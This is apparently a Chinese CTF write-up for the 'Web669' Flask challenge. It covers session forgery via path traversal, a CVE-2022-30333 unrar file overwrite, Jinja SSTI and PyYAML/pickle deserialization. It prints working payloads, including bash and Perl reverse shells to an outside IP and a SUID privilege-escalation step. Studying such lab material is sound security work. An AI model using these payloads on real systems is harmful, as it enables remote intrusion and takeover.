目录
Web669
源码
import os
import re
import yaml
import time
import socket
import subprocess
from hashlib import md5
from flask import Flask, render_template, make_response, send_file, request, redirect, session
app = Flask(__name__)
app.config['SECRET_KEY'] = socket.gethostname()
def response(content, status):
resp = make_response(content, status)
return resp
@app.before_request
def is_login():
if request.path == "/upload":
if session.get('user') != "Administrator":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
return None
@app.route('/', methods=['GET'])
def main():
if not session.get('user'):
session['user'] = 'Guest'
try:
return render_templ
ate('index.html')
except:
return response("Not Found.", 404)
finally:
try:
updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
if not session.get('updir'):
session['updir'] = updir
if not os.path.exists(updir):
os.makedirs(updir)
except:
return response('Internal Server Error.', 500)
@app.route('/<path:file>', methods=['GET'])
def download(file):
if session.get('updir'):
basedir = session.get('updir')
try:
path = os.path.join(basedir, file).replace('../', '')
if os.path.isfile(path):
return send_file(path)
else:
return response("Not Found.", 404)
except:
return response("Failed.", 500)
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
uploadFile = request.files['file']
filename = request.files['file'].filename
if re.search(r"\.\.|/", filename, re.M|re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"
filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
if os.path.exists(filepath):
return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
else:
uploadFile.save(filepath)
extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
if not os.path.exists(extractdir):
os.makedirs(extractdir)
pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
t_beginning = time.time()
seconds_passed = 0
timeout=60
while True:
if pStatus.poll() is not None:
break
seconds_passed = time.time() - t_beginning
if timeout and seconds_passed > timeout:
pStatus.terminate()
raise TimeoutError(cmd, timeout)
time.sleep(0.1)
rarDatas = {'filename': filename, 'dirs': [], 'files': []}
for dirpath, dirnames, filenames in os.walk(extractdir):
relative_dirpath = dirpath.split(extractdir)[-1]
rarDatas['dirs'].append(relative_dirpath)
for file in filenames:
rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
f.write(yaml.dump(rarDatas))
return redirect(f'/display?file={filename}')
@app.route('/display', methods=['GET'])
def display():
filename = request.args.get('file')
if not filename:
return response("Not Found.", 404)
if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
yamlDatas = f.read()
if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
if rarDatas:
return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
else:
return response('Internal Server Error.', 500)
else:
return response('Forbidden.', 403)
else:
return response("Not Found.", 404)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8888)
分析
login路由
首先登录upload上传的界面
@app.before_request
def is_login():
if request.path == "/upload":
if session.get('user') != "Administrator":
return f"<script>alert('Access Denied');window.location.href='/'</script>"
else:
return None
这里会对upload界面进行一个劫持检验,只有administrator用户才能够上传文件。
根目录路由
@app.route('/', methods=['GET'])
def main():
if not session.get('user'):
session['user'] = 'Guest'
try:
return render_templ
ate('index.html')
except:
return response("Not Found.", 404)
finally:
try:
updir = 'static/uploads/' + md5(request.remote_addr.encode()).hexdigest()
if not session.get('updir'):
session['updir'] = updir
if not os.path.exists(updir):
os.makedirs(updir)
except:
return response('Internal Server Error.', 500)
这里大概的意思就是,设置一个用户的session中的updir作为上传的路径。
路径遍历路由
@app.route('/<path:file>', methods=['GET'])
def download(file):
if session.get('updir'):
basedir = session.get('updir')
try:
path = os.path.join(basedir, file).replace('../', '')
if os.path.isfile(path):
return send_file(path)
else:
return response("Not Found.", 404)
except:
return response("Failed.", 500)
说实话,这个<path:file>
写法卡了我一会,我一开始真的不知道这是啥意思,所以就忽略了这个点。。。
这里才是本题的第一个突破口。首先,这个地方我也不知道为什么会有这样的一个路由,在实际生活中,我个人觉得可能用不到呀。😢😢😢
既然有这个洞的话。可以利用。
path = os.path.join(basedir, file).replace('../', '')
这个地方可以绕过一个目录穿越的洞
upload路由
def upload():
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
uploadFile = request.files['file']
filename = request.files['file'].filename
if re.search(r"\.\.|/", filename, re.M|re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"
filepath = f"{session.get('updir')}/{md5(filename.encode()).hexdigest()}.rar"
if os.path.exists(filepath):
return f"<script>alert('The {filename} file has been uploaded');window.location.href='/display?file={filename}'</script>"
else:
uploadFile.save(filepath)
extractdir = f"{session.get('updir')}/{filename.split('.')[0]}"
if not os.path.exists(extractdir):
os.makedirs(extractdir)
首先看前半部分, 首先检测一下filename是否存在目录穿越上传的情况,然后设置上传路径为session的updir。
上传之后直接跳转display路由,然后打开这个文件。
将extractdir
赋值为session中的updir的值
pStatus = subprocess.Popen(["/usr/bin/unrar", "x", "-o+", filepath, extractdir])
t_beginning = time.time()
seconds_passed = 0
timeout=60
while True:
if pStatus.poll() is not None:
break
seconds_passed = time.time() - t_beginning
if timeout and seconds_passed > timeout:
pStatus.terminate()
raise TimeoutError(cmd, timeout)
time.sleep(0.1)
rarDatas = {'filename': filename, 'dirs': [], 'files': []}
for dirpath, dirnames, filenames in os.walk(extractdir):
relative_dirpath = dirpath.split(extractdir)[-1]
rarDatas['dirs'].append(relative_dirpath)
for file in filenames:
rarDatas['files'].append(os.path.join(relative_dirpath, file).split('./')[-1])
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'w') as f:
f.write(yaml.dump(rarDatas))
return redirect(f'/display?file={filename}')
这里,直接用unrar程序解压我们上传的rar压缩包。
然后检验解压的时间。
得到解压的名称和内容都写入rarDatas
将存储的路径加上之前的用户session中的updir的值作为文件的路径
然后重写yaml,将yaml文件一次性全部写入你创建的文件。
官方给出的是这个样子:
def dump(data, stream=None, Dumper=Dumper, **kwds):
"""
Serialize a Python object into a YAML stream.
If stream is None, return the produced string instead.
"""
return dump_all([data], stream, Dumper=Dumper, **kwds)
display路由
@app.route('/display', methods=['GET'])
def display():
filename = request.args.get('file')
if not filename:
return response("Not Found.", 404)
if os.path.exists(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml'):
with open(f'fileinfo/{md5(filename.encode()).hexdigest()}.yaml', 'r') as f:
yamlDatas = f.read()
if not re.search(r"apply|process|out|system|exec|tuple|flag|\(|\)|\{|\}", yamlDatas, re.M|re.I):
rarDatas = yaml.load(yamlDatas.strip().strip(b'\x00'.decode()))
if rarDatas:
return render_template('result.html', filename=filename, path=filename.split('.')[0], files=rarDatas['files'])
else:
return response('Internal Server Error.', 500)
else:
return response('Forbidden.', 403)
else:
return response("Not Found.", 404)
这个路由就是打开刚刚的文件,然后对yaml的内容进行检测,过滤。
之后,进行render_template渲染然后输出。
拿到Administrator的session
首先这个地方有一个os.path.join
这个函数在拼接字符方式上有漏洞。NISACTF的一个babyupload有这个考点。
然后用..././
拼接绕过replace
根据这个点。可以实现目录穿越
由于session设置为socket.gethostname(),这个函数的意思是获取主机名
https://blog.csdn.net/xiatianba/article/details/84718488这篇文章可以知道主机名存放在/etc/hosts
于是构造目录穿越到/etc/hosts
这里直接访问flag会返回failed,说明需要提权2333
然后用GitHub上的一个工具加密一下,参考:https://blog.csdn.net/sinat_34761046/article/details/114991968
注意这个地方外面包裹解密要用双引号,不然会报错23333.加密的时候里面的双引号要改成单引号!!!!
然后可以上传了。
方法一:利用CVE-2022-30333打
重写result.html
/upload
这个路由最后会有一个重定向,然后
这个地方会对result.html进行渲染,所以应该会存在一个ssti的注入点(更何况这里做了这么多过滤,肯定是个突破口)
题目import了flask,试着用一下flask的ssti
将payload写入shell.yaml
{{lipsum.__globals__['os'].popen('bash -c "bash -i >& /dev/tcp/120.48.91.102/7777 0>&1"').read()}}
CVE-2022-30333目录穿越实现重写
根据cve描述,可以造成任意目录穿越来写文件。
https://github.com/rbowes-r7/unrar-cve-2022-30333-poc
利用GitHub上的exp,构造恶意rar
ruby ./cve-2022-30333.rb '../../../../templates/result.html' ./shell.yaml > 123.rar
然后,上传构造好的文件,之后在服务器上面监听端口
方法二、PyYAML 反序列化(嫖别人的,还没研究)
首先上传一个普通rar文件测试(不能被check) 文件名:fff.rar
POST /upload HTTP/1.1
Host: eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888
Content-Length: 658
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarycWHiBd1u820grB2v
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Edg/99.0.1150.30
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://eci-2zegcf515269ynfkw9xp.cloudeci1.ichunqiu.com:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en;q=0.8
Cookie: UM_distinctid=17fafc501cb1894-00e2da0225aa6a-13495c7e-1fa400-17fafc501cc15bb; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; Hm_lvt_2d0601bd28de7d49818249cf35d95943=1659141632,1661235002; session=eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiwRw.zCEEWeUKe6MANxewBQvv86cfTpE
Connection: close
------WebKitFormBoundarycWHiBd1u820grB2v
Content-Disposition: form-data; name="file"; filename="fff.rar"
Content-Type: application/vnd.rar
Rar!óáëß%ß$äF,Jcpasswd
!AcØfÝËPd3#?VMç
6[¢ù
$I²éºmÓo¾`:¨6y°û$«ðÉKà¼Dj9I¦Ó9&I¤±'÷Ù·>âc.ÛÃlCµ-¥ÔÁ:Uc)#üp"/sPáÄ-²ÿ>#÷ö;¹2tH([ºZæÝuiÓ ffGY²9è(M)NJëÈrbþÏ$©:d
8BFä&jT6Uúí¾C¢ëX¤gϪ±[¬pb8UkVò®6Xæ^|°ß1PcÉççöµ84Ï/bÊo<'MÉ/!7ëÑĹ·3}ÞTô,è¶8vÏWS®$ÖMì:èÔ^BZhS_ ió#*hôVMÂ9Þo.XÖáæzaó¾uZÆÜZßÇB¬¹3Øïë®JÄæ[¶JÉÇϳÏjà5Ò^|¦ÒßqÅÿô ®ú/û¡K,Røþ¦wVQ
------WebKitFormBoundarycWHiBd1u820grB2v--
根据代码,上传文件成功后会在fileinfo文件夹内生成一个yaml文件,并在 /display 路由下加载该yaml文件,那么如果更改 updir 的值为网站主目录,然后把rar文件命名为 fileinfo.rar。
这样该rar文件内的内容就会被直接解压到 fileinfo 目录内,那么就有机会覆盖其他rar文件对应的yaml文件,通过复写yaml文件导致任意命令执行。
PyYAML 反序列化
首先制作恶意的rar文件
- yaml文件
由于题目里有过滤条件,通过直接加载yaml文件进行命令执行较为困难,所以同步上传一个pickle反序列化文件,通过yaml加载pickle文件进行命令执行。payload:
filename: aaa.rar
files:
- !!python/object/new:bytes
- !!python/object/new:map
- !!python/name:eval
- ["__import__x28'pickle'x29.loadx28openx28'fileinfo/pik','rb'x29x29"]
同时将该yaml文件命名为9d2718721006ee787d641f526da07952.yaml,文件名为第一次上传的正常文件的文件名的md5值,这样访问那个正常rar文件时就可以触发该恶意的yaml文件。
- 恶意pickle反序列化文件
手写opcode,payload:
cos
system
(S'perl -e 'use Socket;$i="ip";$p=7001;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};''
tR.
- 上传打包好的rar文件
将pickle 文件也打包进去
rar a fileinfo.rar 9d2718721006ee787d641f526da07952.yaml pik
在 ./ 目录下上传 fileinfo.rar 文件
更改session, payload:
└─
nbsp;python3 flask_session_cookie_manager3.py encode -s "engine-1" -t "{'updir': './', 'user': 'Administrator'}"
eyJ1cGRpciI6Ii4vIiwidXNlciI6IkFkbWluaXN0cmF0b3IifQ.YwiwRw.zCEEWeUKe6MANxewBQvv86cfTp
上传之后重新访问fff.rar 文件,在服务器端监听收到反弹的shell
提权拿flag
利用find,发现这些命令是root权限
https://blog.csdn.net/weixin_44912169/article/details/105845909
find / -perm -u=s -type f 2>/dev/null
然后用dd读文件
dd if=/flag
、
Comments | NOTHING